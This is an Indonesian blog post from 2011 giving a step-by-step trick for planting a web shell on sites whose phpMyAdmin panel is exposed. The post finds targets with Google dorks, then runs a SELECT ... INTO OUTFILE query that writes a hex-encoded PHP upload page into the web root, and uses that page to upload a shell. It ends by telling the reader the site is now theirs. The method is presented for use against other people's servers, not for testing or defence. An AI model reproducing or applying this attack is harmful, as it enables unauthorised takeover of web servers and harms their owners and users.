Twitter

Tanam Shell Melalui PHPMYADMIN

Diposting oleh Touya Blog on

 Maros - Artikel ini sebenarnya sudah cukup lama terbenam dalam lappy saya, dan saya memutuskan untuk share trick ini, walaupun sebenarnya trick ini masih trick sederhana, seperti judulunya, tanam Shell melalui phpmyadmin, banyak yang post trick yang sama judulnya, tapi ini sebenarnya cara yang berbeda, karena trick yang lama 100% sudah tidak bisa jalan, dan trik ini pun hanya pernah saya coba pada server windows, tanpa harus melakukan kegiatan yang panjang dengan mencari bugs, cari table password dll, ini hanya menggunakan bantuan google untuk bisa menemukan web yang phpmyadmin nya terbuka dengan menggunakan Dork andalan anda. saya tidak perlu menjelaskan apa itu Dork, karena itu sudah umum dalam dunia hacking, tapi saya bukan seorang Hacker maupun Lamers.

anggap saja anda telah menemukan phpmyadmin target, silahkan anda klik Query, masukkan perintah Show Variables untuk melihat Variable Base Dir nya, dengan melihat Base Dir, anda sudah melihat Directory root nya untuk melakukan aksi selanjutnya yaitu Upload Shell dengan cara sederhana, cukup memasukkan perintah upload php dengan yang telah di convert ke dalam tabel Query.
misalnya gini :

select 0x3c3f706870206563686f20223c666f726d206d6574686f643d27504f53542720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c656c65272073697a653d273434273e3c696e70757420747970653d277375626d6974273e3c2f666f726d3e223b40636f707928245f46494c45535b2766696c656c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c656c65275d5b276e616d65275d293b3f3e into outfile 'c:/xampp/htdocs/upload.php'
(nama file yg saya buat adalah upload.php)
setelah itu, silahkan ganti URL target anda menjadi www.target.com/upload.php
maka anda akan melihat halaman Upload simple untuk memasukkan phpshell anda ke dalam root nya. dan selesailah. web itu sudah di tangan anda...

jika bingung, Download saja Artikel saya di SINI
Password : presidentouya

terima kasih
Silahkan Tinggalkan Pesan

Diposting oleh Touya Blog on Sabtu, 16 Juli 2011

{ 0 komentar... read them below or add one }